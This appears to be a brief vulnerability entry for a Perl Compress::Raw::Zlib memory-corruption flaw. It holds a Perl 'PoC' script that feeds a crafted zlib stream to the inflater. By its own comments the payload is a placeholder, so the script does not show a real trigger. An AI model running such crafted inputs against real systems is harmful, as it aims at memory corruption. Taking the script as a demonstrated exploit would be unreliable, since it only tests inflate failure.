CVE-2026-4176 Perl Compress::Raw::Zlib内存破坏漏洞

# PoC for CVE-2026-4176 # This script demonstrates the usage of Compress::Raw::Zlib with potentially malicious input. # Exploiting the underlying zlib vulnerability (CVE-2026-27171) requires specific byte sequences. use strict; use Compress::Raw::Zlib; # Placeholder for a malicious zlib stream that triggers the buffer overflow. # Actual payload would be derived from the specific zlib vulnerability details. my $payload = "\x78\x9c" . "\x41" x 1000; my ($d, $status) = Compress::Raw::Zlib::Inflate->new() or die "Cannot create inflation stream: $status"; my $output = ''; my $result = $d->inflate($payload, $output); if ($result < 0) { print "Inflation failed or potentially triggered the vulnerability.\n"; } else { print "Inflation successful.\n"; }